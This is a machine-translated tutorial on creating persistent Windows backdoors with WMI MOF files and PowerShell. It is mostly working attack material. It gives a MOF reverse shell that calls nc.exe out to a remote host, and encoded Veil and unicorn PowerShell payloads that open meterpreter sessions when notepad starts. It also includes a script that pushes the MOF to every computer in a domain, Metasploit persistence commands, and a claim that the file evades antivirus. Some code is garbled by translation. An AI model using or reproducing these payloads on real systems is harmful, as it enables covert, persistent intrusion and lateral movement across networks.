MOF backdoor of Powershell
0x00 MOF
Managed Object Format (MOF) is the original storage form of classes and class instances in the WMI database. For more information, see WMI attack, defense and forensic analysis, Windows Management specifications (WMI) the following three methods are provided to compile a hosted object format (MOF) file in the WMI Repository:
Method 1: Use mofcomp.exe. Method 2: Use the IMofCompiler interface and the $ CompileFile method. Method 3: drag and drop to the MOF file in the % SystemRoot % \ System32 \ Wbem \ MOF folder.
The third method is provided only for WMI of backward compatibility and earlier versions (win2003.
A simple MOF rebound shell example:
#!vb#pragma namespace ("\\\\.\\root\\subscription")instance of __EventFilter as $FILTER{ Name = "CLASS_FIRST_TEST"; EventNamespace = "root\\cimv2"; Query = "SELECT * FROM __InstanceCreationEvent " "WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND " "TargetInstance.LogFile=\"Application\""; QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $CONSUMER{ Name = "CLASS_FIRST_TEST"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\n" "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 192.168.38.1 1337 -e C:\\Windows\\system32\\cmd.exe\"\n";};instance of __FilterToConsumerBinding{ Consumer = $CONSUMER ; Filter = $FILTER ;};
0x01 MOF and Powershell
If you have obtained the Administrator permission, you can use MOF to create a permanent hidden backdoor. For many backdoors, a trigger is required. Here, you can use WMI Query Language (WQL) to Query events to determine when to trigger our backdoors. (For more details, see "Stamp me" and "Stamp me ).
For example, if you want to trigger a backdoor by opening notepad, you can use the following query:
#!sql"SELECT * FROM __InstanceCreationEvent Within 5 " "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" ";
You can use the following query to disable Powershell:
#!sql"SELECT * FROM __InstanceDeletionEvent Within 5 " "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"powershell.exe\" ";
If you want to trigger the trigger every 30 minutes, you can use the following query:
#!sql"Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Minute = 30 "
After determining the trigger method, we can write our query as a MOF filter:
#! Vbinstance of _ EventFilter as $ Filt {Name = "EventFilter"; EventNamespace = "Root \ Cimv2"; Query = <insert Query> QueryLanguage = "WQL ";};
For example, if we use enable Notepad as the trigger condition, we can write as follows:
#!vbinstance of __EventFilter as $Filt{ Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL";};
Now we need the response from the event consumer. here we can use different EventConsumer classes. By using CommandLineEventConsumer, we can use the payload output by Veil, you can also use ActiveScriptEventConsumer to embed or call VBS scripts. The following is an example of CommandLineEventConsumer:
#!vb"cmd /C [data here]";
The following uses Veil to generate Powershell payload:
Select x86 for testing. The payload is as follows:
#!bashpowershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
Next, we put the above payload in the following template:
#!vbinstance of CommandLineEventConsumer as $Cons{ Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();";};
Note that if the payload contains "and \ here, you can use double quotation marks to reference qi and escape it.
Finally, the MOF file we wrote is as follows:
#!vb#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")instance of CommandLineEventConsumer as $Cons{ Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden" " -Exec Bypass -Command \"Invoke-Expression " "$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String" "(\\\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygznk5" "UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/" "Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13" "URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/" "JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/" "ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/" "RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\\\")))), " "[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"";};instance of __EventFilter as $Filt{ Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL";};instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons;};
If you are in trouble, you can use unicorn to generate a payload without special characters. The usage is simple:
#!bash? unicorn [master] python unicorn.py windows/meterpreter/reverse_tcp 192.168.74.141 8889
Copy the content of powershell_attack.txt, and then msfconsole-r unicorn. rc can enable the listener. The modified MOF file is as follows:
#!vb#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")instance of CommandLineEventConsumer as $Cons{ Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell -window hidden -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAs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AAeAAzAGMALAAwAHgANQBmACwAMAB4ADUAOAAsADAAeAA5ADIALAAwAHgAZgBjACwAMAB4AGQANAAsADAAeAAxADIALAAwAHgAMwAyACwAMAB4ADgANQAsADAAeAAwADkALAAwAHgAZQAyACwAMAB4ADMANQAsADAAeABhADQALAAwAHgAOQBmACwAMAB4ADcAOQAsADAAeAA2AGMALAAwAHgANgA2ACwAMAB4ADIAMQAsADAAeABhAGUALAAwAHgAMAA0ACwAMAB4ADIAZgAsADAAeAAzADkALAAwAHgAYgAzACwAMAB4ADIAMQAsADAAeABmADkALAAwAHgAYgAyACwAMAB4ADAANwAsADAAeABkAGQALAAwAHgAZgA4ACwAMAB4ADEAMgAsADAAeAA1ADYALAAwAHgAMQBlACwAMAB4ADUANgAsADAAeAA1AGIALAAwAHgANQA3ACwAMAB4AGUAZAAsADAAeABhADYALAAwAHgAOQBiACwAMAB4ADUAZgAsADAAeAAwAGUALAAwAHgAZABkACwAMAB4AGQANQAsADAAeAA5AGMALAAwAHgAYgAzACwAMAB4AGUANgAsADAAeAAyADEALAAwAHgAZABmACwAMAB4ADYAZgAsADAAeAA2ADIALAAwAHgAYgAyACwAMAB4ADQANwAsADAAeABmAGIALAAwAHgAZAA0ACwAMAB4ADEAZQAsADAAeAA3ADYALAAwAHgAMgA4ACwAMAB4ADgAMgAsADAAeABkADUALAAwAHgANwA0ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgAYgAyACwAMAB4ADkAOAAsADAAeAAxADgALAAwAHgAMAA0ACwAMAB4AGMAOQAsADAAeABhADQALAAwAHgAOQAxACwAMAB4AGEAYgAsADAAeAAxAGUALAAwAHgAMgBkACwAMAB4AGUAMQAsADAAeAA4AGYALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeABiADEALAAwAHgAYQBlACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgAMQA0ACwAMAB4AGMAZQAsADAAeABmAGMALAAwAHgAYgBkACwAMAB4AGMAOQAsADAAeAA2AGEALAAwAHgANwA2ACwAMAB4ADUAMwAsADAAeAAxAGQALAAwAHgAMAA3ACwAMAB4AGQANQAsADAAeAAzAGIALAAwAHgAZAAyACwAMAB4ADIAYQAsADAAeABlADYALAAwAHgAYgBiACwAMAB4ADcAYwAsADAAeAAzAGMALAAwAHgAOQA1ACwAMAB4ADgAOQAsADAAeAAyADMALAAwAHgAOQA2ACwAMAB4ADMAMQAsADAAeABhADEALAAwAHgAYQBjACwAMAB4ADMAMAAsADAAeABjADUALAAwAHgAYwA2ACwAMAB4ADgANgAsADAAeAA4ADUALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAyADkALAAwAHgAZgA2ACwAMAB4ADcAMAAsADAAeABmAGQALAAwAHgANwBkACwAMAB4AGEANgAsADAAeABlAGEALAAwAHgAZAA0ACwAMAB4AGYAZAAsADAAeAAyAGQALAAwAHgAZQBiACwAMAB4AGQAOQAsADAAeAAyAGIALAAwAHgAZABiACwAMAB4AGUAZQAsADAAeAA0AGQALAAwAHgAMQA0ACwAMAB4AGIANAAsADAAeABiAGIALAAwAHgAMAAwACwAMAB4AGYAYwAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADMAOAAsADAAeAA0ADQALAAwAHgANABlACwAMAB4AGQAZAAsADAAeAA2AGMALAAwAHgAZQA2ACwAMAB4ADAAMQAsADAAeAA3ADIALAAwAHgAYwBjACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAMgAyACwAMAB4AGEANAAsADAAeABiAGMALAAwAHgAZQBkACwAMAB4ADEAZAAsADAAeABkADQALAAwAHgAYgBlACwAMAB4ADIANwAsADAAeAAzADYALAAwAHgANwBlACwAMAB4ADUAMQAsADAAeAA5AGUALAAwAHgANgBlACwAMAB4ADEANgAsADAAeABjADgALAAwAHgAYgBiACwAMAB4AGUANQAsADAAeAA4ADcALAAwAHgAMQA1ACwAMAB4ADEANgAsADAAeAA4ADAALAAwAHgAOAA3ACwAMAB4ADkAZQAsADAAeAA5ADUALAAwAHgANwA0ACwAMAB4ADQAOQA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aQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeAAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkADEAKQApADsAJAAyACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAMwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAAzACAAJAAyACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A";};instance of __EventFilter as $Filt{ Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL";};instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons;};
Save the preceding content as test. mof. If you have the Administrator permission. mof is placed in the % SYSTEMROOT %/wbem/MOF directory (xp and the following operating systems). The system automatically compiles and runs this script. If you run the following command on an XP or later operating system:
#!bashC:\>mofcomp.exe c:\test.mof
After the script is executed, a meterpreter session can be generated when notepad is opened:
In addition, the mof file is kill-free:
In addition to this, we can also do other things, such as closing a program and closing it when it starts. The MOF file is as follows:
#!vb#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")instance of CommandLineEventConsumer as $Cons{ Name = "Powershell Helper 2"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe Stop-Process -processname notepad -Force";};instance of __EventFilter as $Filt{ Name = "EventFilter 2"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 3" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL";};instance of __FilterToConsumerBinding{ Filter = $Filt; Consumer = $Cons;};
To remotely execute the command, run the following command:
#!bashc:\>mofcomp -N \\[machinename]\root\subscription test.mof
If we are in the domain, we can also use the following Powershell script for batch remote execution:
#! Vbfunction getNetHosts {$ final = @ () # obtain the domain computer $ strCategory = "computer" $ objDomain = New-Object System. directoryServices. directoryEntry $ objSearcher = New-Object System. directoryServices. directorySearcher $ objSearcher. searchRoot = $ objDomain $ objSearcher. filter = ("(objectCategory = $ strCategory)") $ colProplist = "name", "cn" foreach ($ I in $ colPropList) {$ objSearcher. propertiesToLoad. add ($ I)} $ colResults = $ objSearcher. findAll () foreach ($ objResult in $ colResults) {$ objComputer = $ objResult. properties $ bleh = $ objComputer. name $ final + = $ bleh} return $ final} $ nethosts = getNetHostsforeach ($ nethost in $ nethosts) {write-host "Exec on" + $ nethost $ str = "\" + $ nethost + "\ root \ subparts" $ m = mofcomp-N $ str test. mof}
Usage:
#! Bashc: \> powershell-ExecutionPolicy Bypass. \ test. ps1 # The mof file is in the same folder.
0x02 Meterpreter Post Module
Here is a msf module that can be installed later. Address: metasploit-modules. After downloading it and moving it to the post/windows/folder, you can use it:
#!bash? persistence [master] mv mof_ps_persist.rb $msf_path/modules/post/windows/
Install the following link after obtaining the meterpreter session:
#!bashmsf exploit(web_delivery) > use post/windows/mof_ps_persist msf post(mof_ps_persist) > set LHOST 192.168.101.1 LHOST => 192.168.101.1msf post(mof_ps_persist) > set lport 8887lport => 8887msf post(mof_ps_persist) > set session 4session => 4msf post(mof_ps_persist) > run
The default payload is windows/meterpreter/reverse_tcp, And the execution interval is 60 seconds. If you want to start it by triggering, you can modify the ruby script on your own.
Enable listening:
#!bashmsf post(mof_ps_persist) > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 192.168.101.1 lhost => 192.168.101.1msf exploit(handler) > set lport 8887lport => 8887msf exploit(handler) > exploit -j
If error 80041003 is displayed, the permission is insufficient. You can try bypassuac. For details about how to use bypass, please stamp me.
After a session is interrupted, because mof is automatically executed, you can obtain the meterpreter session again. After the recipient's computer restarts, he can still obtain the session.
To clear the backdoor, you can use the rc file generated by resource.
0x03 stop MOF
To stop mof, perform the following operations:
First net stop winmgmt stop service, second Delete Folder: C: \ WINDOWS \ system32 \ wbem \ Repository \ third net start winmgmt start service 0x04 Summary
This article mainly introduces some methods to create backdoors by combining MOF and powershell. For MOF, the most common method is to use MOF to escalate permissions in MYSQL, in fact, there are still many ways to play. You can continue to study and hope this article will help you.